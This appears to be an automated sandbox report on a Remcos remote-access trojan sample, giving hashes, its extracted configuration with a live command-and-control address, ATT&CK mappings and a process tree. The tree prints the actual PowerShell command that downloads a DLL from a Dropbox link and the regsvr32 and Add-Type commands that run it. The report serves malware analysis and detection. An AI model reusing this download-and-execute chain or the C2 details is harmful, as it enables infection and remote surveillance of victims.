remcos | 80c404f467f93bcabea0470036ed02962f7114a12d6fb35e3fe73ab7d4045cd4

General

Target

test-Kopie.bat
Size

1KB
MD5

6263640933688fcb7cec4110041065a6
SHA1

0915a799a48199b196c14781a5ea54a377198ac5
SHA256

80c404f467f93bcabea0470036ed02962f7114a12d6fb35e3fe73ab7d4045cd4
SHA512

de2a3aff1b9a337265c9136f9565f8c964c1e2e6d52856653ade0365f0c05a584c9d0a4b1d5af0a0552873497df966a6d5be887411aa9cbcf51388f1c9902b32

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

23.ip.gl.ply.gg:24321

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
Rmc.exe
copy_folder
RootRmc
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
true
install_path
%SystemDrive%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M1WJOM
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
8	5108	powershell.exe
18	5108	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
1368	powershell.exe
5108	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

Processes:

regsvr32.exe

pid	Process
4760	regsvr32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

regsvr32.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
5108	powershell.exe
5108	powershell.exe
1368	powershell.exe
1368	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	1368	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exeregsvr32.exe

description	pid	Process	procid_target
PID 4480 wrote to memory of 5108	4480	cmd.exe	84
PID 4480 wrote to memory of 5108	4480	cmd.exe	84
PID 4480 wrote to memory of 2548	4480	cmd.exe	89
PID 4480 wrote to memory of 2548	4480	cmd.exe	89
PID 2548 wrote to memory of 4760	2548	regsvr32.exe	90
PID 2548 wrote to memory of 4760	2548	regsvr32.exe	90
PID 2548 wrote to memory of 4760	2548	regsvr32.exe	90
PID 4480 wrote to memory of 1368	4480	cmd.exe	91
PID 4480 wrote to memory of 1368	4480	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test-Kopie.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/ced931yp7ygkbsx3fibr1/test.dll?rlkey=23mh4gtrl35mfqlt6suof5w8d&dl=1' -OutFile 'test.dll'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5108
- C:\Windows\system32\regsvr32.exe
  regsvr32 /s "test.dll"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\SysWOW64\regsvr32.exe
    /s "test.dll"
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -Path 'test.dll'; [TestClass]::Execute()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08f9f3eb63ff567d1ee2a25e9bbf18f0

SHA1
6bf06056d1bb14c183490caf950e29ac9d73643a

SHA256
82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

SHA512
425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bgkxdarm.egg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\test.dll

Filesize
465KB

MD5
c52987ac16d800661b0673db0e88e040

SHA1
8887a9096dd5baa81fc841fd4066978aabc66d66

SHA256
00f66290090abad9e0c8a98e659723a29ad621862a54ff7b67dc326b4cf74ae6

SHA512
5431218a44e0a26337b6ad78f4cf225c735a104751a542cb7d882e69ba711b3001d855199c7b91d6113eca2095257daacbb642cf1e84fa1c11e913f5d401782d

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memory/5108-0-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

Filesize
8KB

Download
memory/5108-1-0x000001F3EE660000-0x000001F3EE682000-memory.dmp

Filesize
136KB

Download
memory/5108-11-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/5108-12-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/5108-16-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads